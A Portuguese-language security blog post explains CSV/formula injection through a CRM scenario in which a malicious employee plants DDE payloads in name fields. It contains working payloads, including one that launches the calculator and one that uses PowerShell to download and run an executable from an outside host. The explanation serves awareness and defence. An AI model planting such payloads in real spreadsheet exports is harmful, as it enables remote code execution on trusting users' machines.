Posts

CSV Injection

CSV Injection

O que é CSV Injection?

CSV Injection (Comma separated values) também conhecido como formula injection, ocorre quando o usuário malicioso consegue injetar caracteres arbitrários em formulários que serão exportados posteriormente para arquivos .CSV ou .XLS

Para que a falha ocorra, o campo no qual o usuário malicioso usou para injetar o payload precisa estar presente no arquivo exportado.

CSV injection tem como principal objetivo explorar o user trust, ou seja, explorar a confiança que o usuário tem na fonte da qual o arquivo foi baixado.

Como a falha de CSV Injection ocorre?

Tenho certeza que muitos de vocês já viram e usaram fórmulas no Excel, como por exemplo a função soma, que é usada para retornar o valor da soma de determinadas células ou argumentos.

Para executar fórmulas no Excel, o comando tem que começar com “=”, então o excel sabe que tem que executar algum tipo de função. Na imagem acima é possível ver que a função soma foi utilizada. Além disso, o Microsoft Office está usando um protocolo chamado DDE (Dynamic Data Exchange).

DDE é um protocolo de comunicação entre processos. Ele envia mensagens entre aplicativos que compartilham dados e usa memória compartilhada para trocar dados entre aplicativos, o mesmo também é suportado pelo apache OpenOffice e LibreOffice.

Supondo que a vítima abriu um arquivo .CSV ou .XLS contendo o payload, a primeira reação do Excel ao abrir o arquivo, será exibir a seguinte mensagem de alerta:

Como medida de segurança, a Microsoft decidiu adicionar alguns alertas antes de ativar a atualização automática de links, mas como o usuário confia na fonte de onde o arquivo foi baixado, logo ele(a) irá clicar no botão enable (habilitar), mostrado na imagem acima.

A imagem acima mostra um segundo alerta mais suspeito, pois diz que o Windows precisa de sua permissão para iniciar CMD.EXE

Vamos ao exemplo prático do CSV Injection

Vamos supor que um funcionário malicioso queira atacar o dono da empresa para a qual trabalha, através do CRM (Gestão de Relacionamento com o Cliente) que a empresa possui. O funcionário malicioso obviamente tem sua conta de acesso ao CRM da empresa. Se analizarmos a imagem abaixo é possível observar que o funcionário malicioso injetou =cmd|’  no campo First Name, e /C calc’!A0 no campo Last Name, fazendo com que o campo Full Name exiba o payload completo =cmd|’ /C calc’!A0

Ao analizarmos a próxima imagem, podemos ver que o funcionário malicioso criou um novo lead, e tanto o campo Owner quanto o campo Qualification Team mostram o payload que o funcionário malicioso injetou na imagem anterior.

A próxima imagem mostra que o lead foi salvo com sucesso, contendo o payload =cmd|’ /C calc’!A0 . Até agora ninguém foi atacado.

Como podemos ver na imagem a seguir, quando a vítima, no caso o(a) proprietário(a) da empresa exportar o relatório de leads através de um arquivo .XLS por exemplo, ao abrir o arquivo, o Excel (em versões anteriores) irá alertar o usuário com uma mensagem parecida com a da imagem abaixo. Vale lembrar que a vítima baixou o arquivo de uma fonte que ele(a) confia, logo, a vítima tende a ignorar a mensagem de alerta e acaba clicando no botão Enable (habilitar).

A imagem a seguir mostra a próxima mensagem de alerta que é exibida para a vítima. Vale lembrar novamente que a vítima baixou o arquivo de uma fonte na qual ele(a) confia, logo, ele(a) irá clicar no botão SIM.

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

No exemplo acima, foi utilizado um payload que abre apenas a calculadora do Windows, mas o funcionário malicioso pode fazer coisa muito pior.

Em versões mais recentes do Microsoft Office, o Excel além de exibir os alertas já mostrados, ele também irá exibir os alertas abaixo:

Ao clicar em opções, o Excel irá exibir a mensagem abaixo:

Após o usuário clicar no OK da mensagem acima, o Excel irá exibir a seguinte mensagem:

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

É claro que o payload utilizado, não traz nenhum risco para quem abrir o arquivo. Mas, se o funcionário malicioso utilizar o payload a seguir o que vai acontecer?

=cmd|’ /C powershell Invoke-WebRequest “http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe” -OutFile “$env:Temp\putty.exe”; Start-Process “$env:Temp\putty.exe”‘!A0

O payload acima irá baixar e executar o putty.exe na máquina da vítima.

Consegue enxergar o problema?

Como previnir CSV Injection?

Para que a falha não ocorra, é preciso que qualquer campo que será exportado para o arquivo .CSV ou .XLS, contenham apenas caracteres alfanuméricos.

 

Referências:
appsec-labs.com/portal/formula-injection/
contextis.com/resources/blog/comma-separated-vulnerabilities/
pentestmag.com/formula-injection/
blog.zsec.uk/csv-dangers-mitigations/
owasp.org/index.php/CSV_Excel_Macro_Injection

_________________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]